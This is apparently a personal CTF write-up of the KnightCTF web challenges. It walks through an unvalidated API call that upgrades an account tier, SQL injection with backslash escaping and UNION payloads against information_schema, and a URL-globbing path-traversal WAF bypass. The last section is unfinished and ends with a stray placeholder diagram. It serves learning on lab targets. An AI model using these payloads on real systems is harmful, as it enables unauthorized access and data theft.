KnightCTF

Full web / api category

>web>sqli>lfi>url-globbing

I played this ctf to have some fun with Bits & Pieces, playing both web and rev.
In the end we flagged all the web challenges and I had some spare time to complete half of the rev challenges.


Web Challenges


Knight Cloud - 491 Solves

This was by far the most fun challenge of the ctf!
To get the flag we just needed to upgrade our cloud-tier

index

Looking in the Sources panel on the devtools, we can see this fragment of code in the file index-DH6mLR_s.js

index

Since there is no validation server-side we can just send a POST to that endpoint to upgrade our tier

POST /api/internal/v1/migrate/user-tier HTTP/1.1
Host: 23.239.26.112:8091
Content-Type: application/json
Cookie: [REDACTED]
Connection: keep-alive

{
	"u": "e2da059c-dc25-45a4-b0a3-7dd9fb21bbcd",
  "t": "enterprise"
}
index And upon clicking 'Load Analytics', we get the flag index

Knight Shop Again - 465 Solves

This was a classic shop challenge. The goal was to buy the Legendary Excalibur!

index The intended solution required you to exploit a flaw in the coupon system validation-
However, it was possible to change the quantity of a product before checkout, so none of that really matters. index And... yeah, I still don't know if this was the intended solution but it doesn't really matter since it's a beginner-friendly challenge index

Admin Panel - 223 Solves

Sqli time! :D

index This was a rather chill sqli challenge, there was just a filter that blocked our input whenever we included a quote ( ' ) in the fields

I have to thanks my bro Shy for saving us a bunch of time discovering an injection point using the backslash \, which was exactly what we needed!


We can understand why this work by immaginating how the SQL query could look like:
SELECT * FROM users WHERE username = '$user' AND pass = '$pass';  

Now, by passing \ as our username, we can effectively break the SQL syntax:

SELECT * FROM users WHERE username = '\' AND pass = ''

The query is now broken, since ' AND pass = is being treated as a string, therefore we get this error from SQL

error

Now that we have an injection point, we can inject SQL logic and comment out the last quote, closing the query, which is enough to get us in but not enough to get the flag

SELECT * FROM users WHERE username = ' AND pass = ' OR 1=1; -- -'
index

Since the flag is usually somewhere on the database, we can make a UNION to see all the tables in the database and surprise, surprise, a “flag” table is revealed!

$username: = \
$pass: = union select table_name,2 from information_schema.tables -- -
index

Now we have everything to retrieve the flag :P

$username: = \
$pass: = union select *,2 from flag -- -
flag

WaF - 118 Solves (WORK IN PROGRESS)

We spent wayyy too much time on this.
The challenge itself consisted in this really bland html page

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>Bee</title>
</head>
<body>
  <p>Input your name:</p>
  <form action="/huraaaaa.html" method="GET">
    <input a="{a}" type="text" required>
    <button type="submit">Submit</button>
  </form>


  <!-- @app.after_request    
    def index(filename: str = "index.html"):
    if ".." in filename or "%" in filename:
        return "No no not like that :("
    
    -->
</body>
</html>
index

That comment was a clear indication that a WaF/proxy was preventing us from performing path traversal, but that was not all…
Another obvious hint was the {a} in the button input, and I deadass thought about SSTI, therefore I spent countless time trying to obtain RCE.
That was until my goat ayushh found this article about URL globbing, which I didnt know was even a thing.
Basically the path is normalized after the WaF/proxy check, therefore it bypasses the check performed by the server-side

graph LR
A[Square Rect] -- Link text --> B((Circle))
A --> C(Round Rect)
B --> D{Rhombus}
C --> D
index

uwu